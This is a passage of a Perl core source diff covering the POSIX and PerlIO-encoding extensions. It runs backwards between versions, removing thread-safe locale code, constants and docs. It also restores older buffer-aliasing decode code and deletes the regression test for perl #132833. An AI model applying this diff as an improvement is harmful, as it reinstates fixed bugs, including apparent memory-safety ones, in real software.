MSG_TRUNC MSG_WAITALL NAME_MAX NCCS NGROUPS_MAX NOFLSH OPEN_MAX OPOST @@ -70,8 +66,7 @@ my @names = _SC_ARG_MAX _SC_CHILD_MAX _SC_CLK_TCK _SC_JOB_CONTROL _SC_NGROUPS_MAX _SC_OPEN_MAX _SC_PAGESIZE _SC_SAVED_IDS _SC_STREAM_MAX _SC_TZNAME_MAX _SC_VERSION EAI_AGAIN EAI_BADFLAGS EAI_FAIL EAI_FAMILY EAI_MEMORY EAI_NONAME - EAI_SERVICE EAI_SOCKTYPE EAI_SYSTEM EAI_OVERFLOW - PRIO_PROCESS PRIO_PGRP PRIO_USER), + EAI_SERVICE EAI_SOCKTYPE EAI_SYSTEM EAI_OVERFLOW), {name=>"CLK_TCK", not_constant=>1}, {name=>"MB_CUR_MAX", not_constant=>1}, {name=>"EXIT_FAILURE", default=>["IV", "1"]}, diff --git a/ext/POSIX/POSIX.xs b/ext/POSIX/POSIX.xs index 74973058417d..0bcebb1739fa 100644 --- a/ext/POSIX/POSIX.xs +++ b/ext/POSIX/POSIX.xs @@ -1,5 +1,4 @@ #define PERL_EXT_POSIX -#define PERL_EXT #ifdef NETWARE #define _POSIX_ @@ -35,13 +34,17 @@ static int not_here(const char *s); #ifdef WIN32 #include #endif +#ifdef I_FLOAT #include +#endif #ifdef I_FENV #if !(defined(__vax__) && defined(__NetBSD__)) #include #endif #endif +#ifdef I_LIMITS #include +#endif #include #include #ifdef I_PWD @@ -50,20 +53,15 @@ static int not_here(const char *s); #include #include #include + +#ifdef I_STDDEF #include +#endif #ifdef I_UNISTD #include #endif -#ifdef I_SYS_TIME -# include -#endif - -#ifdef I_SYS_RESOURCE -# include -#endif - #if defined(USE_QUADMATH) && defined(I_QUADMATH) # undef M_E @@ -1330,7 +1328,9 @@ static NV_PAYLOAD_TYPE S_getpayload(NV nv) #if defined(I_TERMIOS) #include #endif +#ifdef I_STDLIB #include +#endif #ifndef __ultrix__ #include #endif @@ -1598,8 +1598,8 @@ static const struct lconv_offset lconv_strings[] = { /* The Linux man pages say these are the field names for the structure * components that are LC_NUMERIC; the rest being LC_MONETARY */ -# define isLC_NUMERIC_STRING(name) ( strEQ(name, "decimal_point") \ - || strEQ(name, "thousands_sep") \ +# define isLC_NUMERIC_STRING(name) (strEQ(name, "decimal_point") \ + || strEQ(name, "thousands_sep") \ \ /* There should be no harm done \ * checking for this, even if \ @@ -1792,7 +1792,7 @@ fix_win32_tzenv(void) perl_tz_env = ""; if (crt_tz_env == NULL) crt_tz_env = ""; - if (strNE(perl_tz_env, crt_tz_env)) { + if (strcmp(perl_tz_env, crt_tz_env) != 0) { newenv = (char*)malloc((strlen(perl_tz_env) + 4) * sizeof(char)); if (newenv != NULL) { sprintf(newenv, "TZ=%s", perl_tz_env); @@ -1897,9 +1897,8 @@ getattr(termios_ref, fd = 0) OUTPUT: RETVAL - # If we define TCSANOW here then both a found and not found constant sub - # are created causing a Constant subroutine TCSANOW redefined warning - +# If we define TCSANOW here then both a found and not found constant sub +# are created causing a Constant subroutine TCSANOW redefined warning #ifndef TCSANOW # define DEF_SETATTR_ACTION 0 #else @@ -2125,67 +2124,15 @@ localeconv() localeconv(); /* A stub to call not_here(). */ #else struct lconv *lcbuf; -# if defined(USE_ITHREADS) \ - && defined(HAS_POSIX_2008_LOCALE) \ - && defined(HAS_LOCALECONV_L) /* Prefer this thread-safe version */ - bool do_free = FALSE; - locale_t cur = NULL; -# elif defined(TS_W32_BROKEN_LOCALECONV) - const char * save_global; - const char * save_thread; -# endif - DECLARATION_FOR_LC_NUMERIC_MANIPULATION; /* localeconv() deals with both LC_NUMERIC and LC_MONETARY, but * LC_MONETARY is already in the correct locale */ -# ifdef USE_LOCALE_MONETARY - - const bool is_monetary_utf8 = _is_cur_LC_category_utf8(LC_MONETARY); -# endif -# ifdef USE_LOCALE_NUMERIC - - bool is_numeric_utf8; - + DECLARATION_FOR_LC_NUMERIC_MANIPULATION; STORE_LC_NUMERIC_FORCE_TO_UNDERLYING(); - is_numeric_utf8 = _is_cur_LC_category_utf8(LC_NUMERIC); -# endif - RETVAL = newHV(); sv_2mortal((SV*)RETVAL); -# if defined(USE_ITHREADS) \ - && defined(HAS_POSIX_2008_LOCALE) \ - && defined(HAS_LOCALECONV_L) \ - && defined(HAS_DUPLOCALE) - - cur = uselocale((locale_t) 0); - if (cur == LC_GLOBAL_LOCALE) { - cur = duplocale(LC_GLOBAL_LOCALE); - do_free = TRUE; - } - - lcbuf = localeconv_l(cur); -# else - LOCALE_LOCK_V; /* Prevent interference with other threads using - localeconv() */ -# ifdef TS_W32_BROKEN_LOCALECONV - /* This is a workaround for a Windows bug prior to VS 15, in which - * localeconv only looks at the global locale. We toggle to the global - * locale; populate the return; then toggle back. We have to use - * LC_ALL instead of the individual ones because of another bug in - * Windows */ - - save_thread = savepv(Perl_setlocale(LC_NUMERIC, NULL)); - - _configthreadlocale(_DISABLE_PER_THREAD_LOCALE); - - save_global = savepv(Perl_setlocale(LC_ALL, NULL)); - - Perl_setlocale(LC_ALL, save_thread); -# endif - lcbuf = localeconv(); -# endif - if (lcbuf) { + if ((lcbuf = localeconv())) { const struct lconv_offset *strings = lconv_strings; const struct lconv_offset *integers = lconv_integers; const char *ptr = (const char *) lcbuf; @@ -2193,35 +2140,35 @@ localeconv() while (strings->name) { /* This string may be controlled by either LC_NUMERIC, or * LC_MONETARY */ - const bool is_utf8_locale = -# if defined(USE_LOCALE_NUMERIC) && defined(USE_LOCALE_MONETARY) - (isLC_NUMERIC_STRING(strings->name)) - ? is_numeric_utf8 - : is_monetary_utf8; -# elif defined(USE_LOCALE_NUMERIC) - is_numeric_utf8; -# elif defined(USE_LOCALE_MONETARY) - is_monetary_utf8; -# else - FALSE; -# endif + bool is_utf8_locale +#if defined(USE_LOCALE_NUMERIC) && defined(USE_LOCALE_MONETARY) + = _is_cur_LC_category_utf8((isLC_NUMERIC_STRING(strings->name)) + ? LC_NUMERIC + : LC_MONETARY); +#elif defined(USE_LOCALE_NUMERIC) + = _is_cur_LC_category_utf8(LC_NUMERIC); +#elif defined(USE_LOCALE_MONETARY) + = _is_cur_LC_category_utf8(LC_MONETARY); +#else + = FALSE; +#endif const char *value = *((const char **)(ptr + strings->offset)); if (value && *value) { - const STRLEN value_len = strlen(value); - - /* We mark it as UTF-8 if a utf8 locale and is valid and - * variant under UTF-8 */ - const bool is_utf8 = is_utf8_locale - && is_utf8_non_invariant_string( - (U8*) value, - value_len); (void) hv_store(RETVAL, - strings->name, - strlen(strings->name), - newSVpvn_utf8(value, value_len, is_utf8), - 0); + strings->name, + strlen(strings->name), + newSVpvn_utf8( + value, + strlen(value), + + /* We mark it as UTF-8 if a utf8 locale and is + * valid and variant under UTF-8 */ + is_utf8_locale + && ! is_utf8_invariant_string((U8 *) value, 0) + && is_utf8_string((U8 *) value, 0)), + 0); } strings++; } @@ -2235,26 +2182,7 @@ localeconv() integers++; } } -# if defined(USE_ITHREADS) \ - && defined(HAS_POSIX_2008_LOCALE) \ - && defined(HAS_LOCALECONV_L) - if (do_free) { - freelocale(cur); - } -# else -# ifdef TS_W32_BROKEN_LOCALECONV - Perl_setlocale(LC_ALL, save_global); - - _configthreadlocale(_ENABLE_PER_THREAD_LOCALE); - - Perl_setlocale(LC_ALL, save_thread); - - Safefree(save_global); - Safefree(save_thread); -# endif - LOCALE_UNLOCK_V; -# endif - RESTORE_LC_NUMERIC(); + RESTORE_LC_NUMERIC_STANDARD(); #endif /* HAS_LOCALECONV */ OUTPUT: RETVAL @@ -2266,12 +2194,116 @@ setlocale(category, locale = 0) PREINIT: char * retval; CODE: - retval = (char *) Perl_setlocale(category, locale); - if (! retval) { +#ifdef USE_LOCALE_NUMERIC + /* A 0 (or NULL) locale means only query what the current one is. We + * have the LC_NUMERIC name saved, because we are normally switched + * into the C locale for it. Switch back so an LC_ALL query will yield + * the correct results; all other categories don't require special + * handling */ + if (locale == 0) { + if (category == LC_NUMERIC) { + XSRETURN_PV(PL_numeric_name); + } +# ifdef LC_ALL + else if (category == LC_ALL) { + SET_NUMERIC_UNDERLYING(); + } +# endif + } +#endif +#ifdef WIN32 /* Use wrapper on Windows */ + retval = Perl_my_setlocale(aTHX_ category, locale); +#else + retval = setlocale(category, locale); +#endif + DEBUG_L(PerlIO_printf(Perl_debug_log, + "%s:%d: %s\n", __FILE__, __LINE__, + _setlocale_debug_string(category, locale, retval))); + if (! retval) { + /* Should never happen that a query would return an error, but be + * sure and reset to C locale */ + if (locale == 0) { + SET_NUMERIC_STANDARD(); + } XSRETURN_UNDEF; } - RETVAL = retval; + /* Save retval since subsequent setlocale() calls may overwrite it. */ + retval = savepv(retval); + SAVEFREEPV(retval); + + /* For locale == 0, we may have switched to NUMERIC_UNDERLYING. Switch + * back */ + if (locale == 0) { + SET_NUMERIC_STANDARD(); + XSRETURN_PV(retval); + } + else { + RETVAL = retval; +#ifdef USE_LOCALE_CTYPE + if (category == LC_CTYPE +#ifdef LC_ALL + || category == LC_ALL +#endif + ) + { + char *newctype; +#ifdef LC_ALL + if (category == LC_ALL) { + newctype = setlocale(LC_CTYPE, NULL); + DEBUG_Lv(PerlIO_printf(Perl_debug_log, + "%s:%d: %s\n", __FILE__, __LINE__, + _setlocale_debug_string(LC_CTYPE, NULL, newctype))); + } + else +#endif + newctype = RETVAL; + new_ctype(newctype); + } +#endif /* USE_LOCALE_CTYPE */ +#ifdef USE_LOCALE_COLLATE + if (category == LC_COLLATE +#ifdef LC_ALL + || category == LC_ALL +#endif + ) + { + char *newcoll; +#ifdef LC_ALL + if (category == LC_ALL) { + newcoll = setlocale(LC_COLLATE, NULL); + DEBUG_Lv(PerlIO_printf(Perl_debug_log, + "%s:%d: %s\n", __FILE__, __LINE__, + _setlocale_debug_string(LC_COLLATE, NULL, newcoll))); + } + else +#endif + newcoll = RETVAL; + new_collate(newcoll); + } +#endif /* USE_LOCALE_COLLATE */ +#ifdef USE_LOCALE_NUMERIC + if (category == LC_NUMERIC +#ifdef LC_ALL + || category == LC_ALL +#endif + ) + { + char *newnum; +#ifdef LC_ALL + if (category == LC_ALL) { + newnum = setlocale(LC_NUMERIC, NULL); + DEBUG_Lv(PerlIO_printf(Perl_debug_log, + "%s:%d: %s\n", __FILE__, __LINE__, + _setlocale_debug_string(LC_NUMERIC, NULL, newnum))); + } + else +#endif + newnum = RETVAL; + new_numeric(newnum); + } +#endif /* USE_LOCALE_NUMERIC */ + } OUTPUT: RETVAL @@ -2988,7 +3020,7 @@ sigaction(sig, optaction, oldaction = 0) const char *s = SvPVX_const(ST(0)); int i = whichsig(s); - if (i < 0 && memBEGINs(s, SvCUR(ST(0)), "SIG")) + if (i < 0 && _memEQs(s, "SIG")) i = whichsig(s + 3); if (i < 0) { if (ckWARN(WARN_SIGNAL)) @@ -3304,27 +3336,10 @@ write(fd, buffer, nbytes) void abort() -#ifdef I_WCHAR -# include -#endif - int mblen(s, n) char * s size_t n - PREINIT: -#if defined(USE_ITHREADS) && defined(HAS_MBRLEN) - mbstate_t ps; -#endif - CODE: -#if defined(USE_ITHREADS) && defined(HAS_MBRLEN) - PERL_UNUSED_RESULT(mbrlen(NULL, 0, &ps)); /* Initialize state */ - RETVAL = mbrlen(s, n, &ps); /* Prefer reentrant version */ -#else - RETVAL = mblen(s, n); -#endif - OUTPUT: - RETVAL size_t mbstowcs(s, pwcs, n) @@ -3337,21 +3352,6 @@ mbtowc(pwc, s, n) wchar_t * pwc char * s size_t n - PREINIT: -#if defined(USE_ITHREADS) && defined(HAS_MBRTOWC) - mbstate_t ps; -#endif - CODE: -#if defined(USE_ITHREADS) && defined(HAS_MBRTOWC) - memset(&ps, 0, sizeof(ps));; - PERL_UNUSED_RESULT(mbrtowc(pwc, NULL, 0, &ps));/* Reset any shift state */ - errno = 0; - RETVAL = mbrtowc(pwc, s, n, &ps); /* Prefer reentrant version */ -#else - RETVAL = mbtowc(pwc, s, n); -#endif - OUTPUT: - RETVAL int wcstombs(s, pwcs, n) @@ -3379,7 +3379,6 @@ strtod(str) DECLARATION_FOR_LC_NUMERIC_MANIPULATION; STORE_LC_NUMERIC_FORCE_TO_UNDERLYING(); num = strtod(str, &unparsed); - RESTORE_LC_NUMERIC(); PUSHs(sv_2mortal(newSVnv(num))); if (GIMME_V == G_ARRAY) { EXTEND(SP, 1); @@ -3388,6 +3387,7 @@ strtod(str) else PUSHs(&PL_sv_undef); } + RESTORE_LC_NUMERIC_STANDARD(); #ifdef HAS_STRTOLD @@ -3401,7 +3401,6 @@ strtold(str) DECLARATION_FOR_LC_NUMERIC_MANIPULATION; STORE_LC_NUMERIC_FORCE_TO_UNDERLYING(); num = strtold(str, &unparsed); - RESTORE_LC_NUMERIC(); PUSHs(sv_2mortal(newSVnv(num))); if (GIMME_V == G_ARRAY) { EXTEND(SP, 1); @@ -3410,6 +3409,7 @@ strtold(str) else PUSHs(&PL_sv_undef); } + RESTORE_LC_NUMERIC_STANDARD(); #endif @@ -3644,22 +3644,18 @@ strftime(fmt, sec, min, hour, mday, mon, year, wday = -1, yday = -1, isdst = -1) /* allowing user-supplied (rather than literal) formats * is normally frowned upon as a potential security risk; * but this is part of the API so we have to allow it */ - GCC_DIAG_IGNORE_STMT(-Wformat-nonliteral); + GCC_DIAG_IGNORE(-Wformat-nonliteral); buf = my_strftime(SvPV_nolen(fmt), sec, min, hour, mday, mon, year, wday, yday, isdst); - GCC_DIAG_RESTORE_STMT; + GCC_DIAG_RESTORE; sv = sv_newmortal(); if (buf) { STRLEN len = strlen(buf); sv_usepvn_flags(sv, buf, len, SV_HAS_TRAILING_NUL); - if ( SvUTF8(fmt) - || ( is_utf8_non_invariant_string((U8*) buf, len) + if (SvUTF8(fmt) + || (! is_utf8_invariant_string((U8*) buf, len) + && is_utf8_string((U8*) buf, len) #ifdef USE_LOCALE_TIME && _is_cur_LC_category_utf8(LC_TIME) -#else /* If can't check directly, at least can see if script is consistent, - under UTF-8, which gives us an extra measure of confidence. */ - - && isSCRIPT_RUN((const U8 *) buf, buf + len, - TRUE) /* Means assume UTF-8 */ #endif )) { SvUTF8_on(sv); diff --git a/ext/POSIX/lib/POSIX.pm b/ext/POSIX/lib/POSIX.pm index ae33cad99244..e187b3b9ebef 100644 --- a/ext/POSIX/lib/POSIX.pm +++ b/ext/POSIX/lib/POSIX.pm @@ -4,7 +4,7 @@ use warnings; our ($AUTOLOAD, %SIGRT); -our $VERSION = '1.84'; +our $VERSION = '1.76'; require XSLoader; @@ -306,8 +306,7 @@ my %default_export_tags = ( # cf. exports policy below _POSIX_STREAM_MAX _POSIX_TZNAME_MAX)], locale_h => [qw(LC_ALL LC_COLLATE LC_CTYPE LC_MESSAGES - LC_MONETARY LC_NUMERIC LC_TIME LC_IDENTIFICATION - LC_MEASUREMENT LC_PAPER LC_TELEPHONE LC_ADDRESS NULL + LC_MONETARY LC_NUMERIC LC_TIME NULL localeconv setlocale)], math_h => [qw(FP_ILOGB0 FP_ILOGBNAN FP_INFINITE FP_NAN FP_NORMAL @@ -438,8 +437,6 @@ my %other_export_tags = ( # cf. exports policy below stdlib_h_c99 => [ @{$default_export_tags{stdlib_h}}, 'strtold' ], - sys_resource_h => [qw(PRIO_PROCESS PRIO_PGRP PRIO_USER)], - sys_socket_h => [qw( MSG_CTRUNC MSG_DONTROUTE MSG_EOR MSG_OOB MSG_PEEK MSG_TRUNC MSG_WAITALL )], diff --git a/ext/POSIX/lib/POSIX.pod b/ext/POSIX/lib/POSIX.pod index a319b0df3a39..d3f9e8934f7b 100644 --- a/ext/POSIX/lib/POSIX.pod +++ b/ext/POSIX/lib/POSIX.pod @@ -24,7 +24,7 @@ interfaces. This document gives a condensed list of the features available in the POSIX module. Consult your operating system's manpages for general information on most features. Consult L for functions which are noted as being -identical or almost identical to Perl's builtin functions. +identical to Perl's builtin functions. The first section describes POSIX functions from the 1003.1 specification. The second section describes some classes for signal objects, TTY objects, @@ -81,13 +81,8 @@ if the handler does not return normally (it e.g. does a C). =item C -This is identical to Perl's builtin C function, returning the absolute -value of its numerical argument (except that C must be provided -an explicit value (rather than relying on an implicit C<$_>): - - $absolute_value = POSIX::abs(42); # good - - $absolute_value = POSIX::abs(); # throws exception +This is identical to Perl's builtin C function, returning +the absolute value of its numerical argument. =item C @@ -115,13 +110,8 @@ L. =item C -This is identical to Perl's builtin C function, either for arming or -disarming the C timer, except that C must be provided -an explicit value (rather than relying on an implicit C<$_>): - - POSIX::alarm(3) # good - - POSIX::alarm() # throws exception +This is identical to Perl's builtin C function, +either for arming or disarming the C timer. =item C @@ -213,27 +203,13 @@ integer value greater than or equal to the given numerical argument. =item C -This is identical to Perl's builtin C function, allowing one to -change the working (default) directory -- see L -- with the -exception that C must be provided an explicit value (rather -than relying on an implicit C<$_>): - - $rv = POSIX::chdir('path/to/dir'); # good - - $rv = POSIX::chdir(); # throws exception +This is identical to Perl's builtin C function, allowing +one to change the working (default) directory, see L. =item C This is identical to Perl's builtin C function, allowing -one to change file and directory permissions -- see L -- with -the exception that C can only change one file at a time -(rather than a list of files): - - $c = chmod 0664, $file1, $file2; # good - - $c = POSIX::chmod 0664, $file1; # throws exception - - $c = POSIX::chmod 0664, $file1, $file2; # throws exception +one to change file and directory permissions, see L. =item C @@ -939,14 +915,6 @@ containing the current underlying locale's formatting values. Users of this fun should also read L, which provides a comprehensive discussion of Perl locale handling, including L. -Prior to Perl 5.28, or when operating in a non thread-safe environment, -it should not be used in a threaded application unless it's certain that -the underlying locale is C or POSIX. This is because it otherwise -changes the locale, which globally affects all threads simultaneously. -Windows platforms starting with Visual Studio 2005 are mostly -thread-safe, but use of this function in those prior to Visual Studio -2015 can interefere with a thread that has called -L. Here is how to query the database for the B (Deutsch or German) locale. @@ -990,15 +958,7 @@ POSIX.1-2008 and are only available on systems that support them. =item C This is identical to Perl's builtin C function for -converting seconds since the epoch to a date see L except -that C must be provided an explicit value (rather than -relying on an implicit C<$_>): - - @localtime = POSIX::localtime(time); # good - - @localtime = localtime(); # good - - @localtime = POSIX::localtime(); # throws exception +converting seconds since the epoch to a date see L. =item C @@ -1812,10 +1772,7 @@ may not check for overflow, and therefore will never set C<$!>. C respects any POSIX C C settings, regardless of whether or not it is called from Perl code that is within -the scope of S>. This means it should not be used in a -threaded application unless it's certain that the underlying locale is C -or POSIX. This is because it otherwise changes the locale, which -globally affects all threads simultaneously. +the scope of S>. To parse a string C<$str> as a floating point number use @@ -2476,18 +2433,6 @@ C<_POSIX_TZNAME_MAX> C<_POSIX_VDISABLE> C<_POSIX_VERSION> =back -=head1 RESOURCE CONSTANTS - -Imported with the C<:sys_resource_h> tag. - -=over 8 - -=item Constants - -C C C - -=back - =head1 SYSTEM CONFIGURATION =over 8 diff --git a/ext/POSIX/t/export.t b/ext/POSIX/t/export.t index 50648c8b3366..5e07a13afdc0 100644 --- a/ext/POSIX/t/export.t +++ b/ext/POSIX/t/export.t @@ -45,10 +45,8 @@ my %expect = ( FLT_ROUNDS F_DUPFD F_GETFD F_GETFL F_GETLK F_OK F_RDLCK F_SETFD F_SETFL F_SETLK F_SETLKW F_UNLCK F_WRLCK HUGE_VAL HUPCL ICANON ICRNL IEXTEN IGNBRK IGNCR IGNPAR INLCR INPCK - INT_MAX INT_MIN ISIG ISTRIP IXOFF IXON - LC_ADDRESS LC_ALL LC_COLLATE LC_CTYPE LC_IDENTIFICATION - LC_MEASUREMENT LC_MESSAGES LC_MONETARY LC_NUMERIC LC_PAPER - LC_TELEPHONE LC_TIME LDBL_DIG + INT_MAX INT_MIN ISIG ISTRIP IXOFF IXON LC_ALL LC_COLLATE + LC_CTYPE LC_MESSAGES LC_MONETARY LC_NUMERIC LC_TIME LDBL_DIG LDBL_EPSILON LDBL_MANT_DIG LDBL_MAX LDBL_MAX_10_EXP LDBL_MAX_EXP LDBL_MIN LDBL_MIN_10_EXP LDBL_MIN_EXP LINK_MAX LONG_MAX LONG_MIN L_ctermid L_cuserid MAX_CANON @@ -180,10 +178,6 @@ my %expect = ( POLL_IN POLL_OUT POLL_MSG POLL_ERR POLL_PRI POLL_HUP SI_USER SI_QUEUE SI_TIMER SI_ASYNCIO SI_MESGQ ), - # added in 5.27 - qw( - PRIO_PROCESS PRIO_PGRP PRIO_USER - ), ], ); diff --git a/ext/POSIX/t/posix.t b/ext/POSIX/t/posix.t index 1b2dd4010b83..7b456c1b0452 100644 --- a/ext/POSIX/t/posix.t +++ b/ext/POSIX/t/posix.t @@ -25,6 +25,7 @@ $| = 1; $Is_W32 = $^O eq 'MSWin32'; $Is_Dos = $^O eq 'dos'; +$Is_MacOS = $^O eq 'MacOS'; $Is_VMS = $^O eq 'VMS'; $Is_OS2 = $^O eq 'os2'; $Is_UWin = $^O eq 'uwin'; @@ -90,51 +91,55 @@ SKIP: { ok(! $sigset->ismember(1), 'POSIX::SigSet->delset' ); ok( $sigset->ismember(3), 'POSIX::SigSet->ismember' ); - my $sigint_called = 0; - - my $mask = new POSIX::SigSet &SIGINT; - my $action = new POSIX::SigAction 'main::SigHUP', $mask, 0; - sigaction(&SIGHUP, $action); - $SIG{'INT'} = 'SigINT'; - - # At least OpenBSD/i386 3.3 is okay, as is NetBSD 1.5. - # But not NetBSD 1.6 & 1.6.1: the test makes perl crash. - # So the kill() must not be done with this config in order to - # finish the test. - # For others (darwin & freebsd), let the test fail without crashing. - # the test passes at least from freebsd 8.1 - my $todo = $^O eq 'netbsd' && $Config{osvers}=~/^1\.6/; - my $why_todo = "# TODO $^O $Config{osvers} seems to lose blocked signals"; - if (!$todo) { - kill 'HUP', $$; - } else { - print "not ok 9 - sigaction SIGHUP ",$why_todo,"\n"; - print "not ok 10 - sig mask delayed SIGINT ",$why_todo,"\n"; - } - sleep 1; - - $todo = 1 if ($^O eq 'freebsd' && $Config{osvers} < 8) - || ($^O eq 'darwin' && $Config{osvers} < '6.6'); - printf "%s 11 - masked SIGINT received %s\n", - $sigint_called ? "ok" : "not ok", - $todo ? $why_todo : ''; - - print "ok 12 - signal masks successful\n"; + SKIP: { + skip("no kill() support on Mac OS", 4) if $Is_MacOS; + + my $sigint_called = 0; + + my $mask = new POSIX::SigSet &SIGINT; + my $action = new POSIX::SigAction 'main::SigHUP', $mask, 0; + sigaction(&SIGHUP, $action); + $SIG{'INT'} = 'SigINT'; + + # At least OpenBSD/i386 3.3 is okay, as is NetBSD 1.5. + # But not NetBSD 1.6 & 1.6.1: the test makes perl crash. + # So the kill() must not be done with this config in order to + # finish the test. + # For others (darwin & freebsd), let the test fail without crashing. + # the test passes at least from freebsd 8.1 + my $todo = $^O eq 'netbsd' && $Config{osvers}=~/^1\.6/; + my $why_todo = "# TODO $^O $Config{osvers} seems to lose blocked signals"; + if (!$todo) { + kill 'HUP', $$; + } else { + print "not ok 9 - sigaction SIGHUP ",$why_todo,"\n"; + print "not ok 10 - sig mask delayed SIGINT ",$why_todo,"\n"; + } + sleep 1; + + $todo = 1 if ($^O eq 'freebsd' && $Config{osvers} < 8) + || ($^O eq 'darwin' && $Config{osvers} < '6.6'); + printf "%s 11 - masked SIGINT received %s\n", + $sigint_called ? "ok" : "not ok", + $todo ? $why_todo : ''; + + print "ok 12 - signal masks successful\n"; + + sub SigHUP { + print "ok 9 - sigaction SIGHUP\n"; + kill 'INT', $$; + sleep 2; + print "ok 10 - sig mask delayed SIGINT\n"; + } - sub SigHUP { - print "ok 9 - sigaction SIGHUP\n"; - kill 'INT', $$; - sleep 2; - print "ok 10 - sig mask delayed SIGINT\n"; - } + sub SigINT { + $sigint_called++; + } - sub SigINT { - $sigint_called++; + # The order of the above tests is very important, so + # we use literal prints and hard coded numbers. + next_test() for 1..4; } - - # The order of the above tests is very important, so - # we use literal prints and hard coded numbers. - next_test() for 1..4; } SKIP: { @@ -278,8 +283,11 @@ try_strftime("Fri Mar 31 00:00:00 2000 091", 0,0,0, 31,2,100); } } -is (eval "kill 0", 0, "check we have CORE::kill") - or print "\$\@ is " . _qq($@) . "\n"; +SKIP: { + skip("no kill() support on Mac OS", 1) if $Is_MacOS; + is (eval "kill 0", 0, "check we have CORE::kill") + or print "\$\@ is " . _qq($@) . "\n"; +} # Check that we can import the POSIX kill routine POSIX->import ('kill'); @@ -407,7 +415,7 @@ if ($^O eq 'vos') { } else { $| = 0; # The following line assumes buffered output, which may be not true: - print '@#!*$@(!@#$' unless ($Is_OS2 || $Is_UWin || $Is_OS390 || + print '@#!*$@(!@#$' unless ($Is_MacOS || $Is_OS2 || $Is_UWin || $Is_OS390 || $Is_VMS || (defined $ENV{PERLIO} && $ENV{PERLIO} eq 'unix' && diff --git a/ext/POSIX/t/sigaction.t b/ext/POSIX/t/sigaction.t index 73c66f9404d0..99bbb9f53141 100644 --- a/ext/POSIX/t/sigaction.t +++ b/ext/POSIX/t/sigaction.t @@ -5,7 +5,7 @@ BEGIN{ use Config; eval 'use POSIX'; if($@ || $^O eq 'MSWin32' || $^O eq 'NetWare' || $^O eq 'dos' || - ($^O eq 'VMS' && !$Config{'d_sigaction'})) { + $^O eq 'MacOS' || ($^O eq 'VMS' && !$Config{'d_sigaction'})) { print "1..0\n"; exit 0; } @@ -14,7 +14,7 @@ BEGIN{ use Test::More tests => 36; use strict; -our ( $bad, $bad7, $ok10, $bad18, $ok ); +use vars qw/$bad $bad7 $ok10 $bad18 $ok/; $^W=1; diff --git a/ext/POSIX/t/time.t b/ext/POSIX/t/time.t index 4b10eb833508..6a906e031d6e 100644 --- a/ext/POSIX/t/time.t +++ b/ext/POSIX/t/time.t @@ -22,7 +22,7 @@ SKIP: { # actually do anything. Cygwin works in some places, but not others. The # other Win32's below are guesses. skip "No tzset()", 2 - if $^O eq "VMS" || $^O eq "cygwin" || $^O eq "djgpp" || + if $^O eq "MacOS" || $^O eq "VMS" || $^O eq "cygwin" || $^O eq "djgpp" || $^O eq "MSWin32" || $^O eq "dos" || $^O eq "interix"; tzset(); my @tzname = tzname(); diff --git a/ext/POSIX/t/usage.t b/ext/POSIX/t/usage.t index 8aba55c9cb9b..4d900e7680a4 100644 --- a/ext/POSIX/t/usage.t +++ b/ext/POSIX/t/usage.t @@ -32,10 +32,10 @@ foreach my $func (sort @all) { my $arg_pat = join ', ', ('[a-z]+') x $valid{$func}; my $expect = qr/\AUsage: POSIX::$func\($arg_pat\) at \(eval/; foreach my $try (@try) { - next if $valid{$func} == $try; - my $call = "POSIX::$func(" . join(', ', 1 .. $try) . ')'; - is(eval "$call; 1", undef, "$call fails"); - like($@, $expect, "POSIX::$func for $try arguments gives expected error") + next if $valid{$func} == $try; + my $call = "POSIX::$func(" . join(', ', 1 .. $try) . ')'; + is(eval "$call; 1", undef, "$call fails"); + like($@, $expect, "POSIX::$func for $try arguments gives expected error") } } diff --git a/ext/PerlIO-encoding/encoding.pm b/ext/PerlIO-encoding/encoding.pm index 3d740b181a94..08d2df4713b5 100644 --- a/ext/PerlIO-encoding/encoding.pm +++ b/ext/PerlIO-encoding/encoding.pm @@ -1,7 +1,7 @@ package PerlIO::encoding; use strict; -our $VERSION = '0.26'; +our $VERSION = '0.25'; our $DEBUG = 0; $DEBUG and warn __PACKAGE__, " called by ", join(", ", caller), "\n"; diff --git a/ext/PerlIO-encoding/encoding.xs b/ext/PerlIO-encoding/encoding.xs index 941d78626661..bb4754f3d919 100644 --- a/ext/PerlIO-encoding/encoding.xs +++ b/ext/PerlIO-encoding/encoding.xs @@ -307,19 +307,42 @@ PerlIOEncode_fill(pTHX_ PerlIO * f) goto end_of_file; } } - if (!SvCUR(e->dataSV)) - SvPVCLEAR(e->dataSV); - if (use + SvCUR(e->dataSV) > e->base.bufsiz) { - if (e->flags & NEEDS_LINES) { - /* Have to grow buffer */ - e->base.bufsiz = use + SvCUR(e->dataSV); - PerlIOEncode_get_base(aTHX_ f); + if (SvCUR(e->dataSV)) { + /* something left over from last time - create a normal + SV with new data appended + */ + if (use + SvCUR(e->dataSV) > e->base.bufsiz) { + if (e->flags & NEEDS_LINES) { + /* Have to grow buffer */ + e->base.bufsiz = use + SvCUR(e->dataSV); + PerlIOEncode_get_base(aTHX_ f); + } + else { + use = e->base.bufsiz - SvCUR(e->dataSV); + } + } + sv_catpvn(e->dataSV,(char*)ptr,use); + } + else { + /* Create a "dummy" SV to represent the available data from layer below */ + if (SvLEN(e->dataSV) && SvPVX_const(e->dataSV)) { + Safefree(SvPVX_mutable(e->dataSV)); + } + if (use > (SSize_t)e->base.bufsiz) { + if (e->flags & NEEDS_LINES) { + /* Have to grow buffer */ + e->base.bufsiz = use; + PerlIOEncode_get_base(aTHX_ f); + } + else { + use = e->base.bufsiz; } - else { - use = e->base.bufsiz - SvCUR(e->dataSV); } + SvPV_set(e->dataSV, (char *) ptr); + SvLEN_set(e->dataSV, 0); /* Hands off sv.c - it isn't yours */ + SvCUR_set(e->dataSV,use); + SvPOK_only(e->dataSV); } - sv_catpvn(e->dataSV,(char*)ptr,use); SvUTF8_off(e->dataSV); PUSHMARK(sp); XPUSHs(e->enc); diff --git a/ext/PerlIO-encoding/t/encoding.t b/ext/PerlIO-encoding/t/encoding.t index 41cefcb1377f..088f89ee20af 100644 --- a/ext/PerlIO-encoding/t/encoding.t +++ b/ext/PerlIO-encoding/t/encoding.t @@ -16,7 +16,7 @@ BEGIN { require "../../t/charset_tools.pl"; } -use Test::More tests => 27; +use Test::More tests => 24; my $grk = "grk$$"; my $utf = "utf$$"; @@ -231,16 +231,6 @@ is $x, "To hymn him who heard her herd herd\n", } # SKIP -# decoding shouldn't mutate the original bytes [perl #132833] -{ - my $b = "a\0b\0\n\0"; - open my $fh, "<:encoding(UTF16-LE)", \$b or die; - is scalar(<$fh>), "ab\n"; - is $b, "a\0b\0\n\0"; - close $fh or die; - is $b, 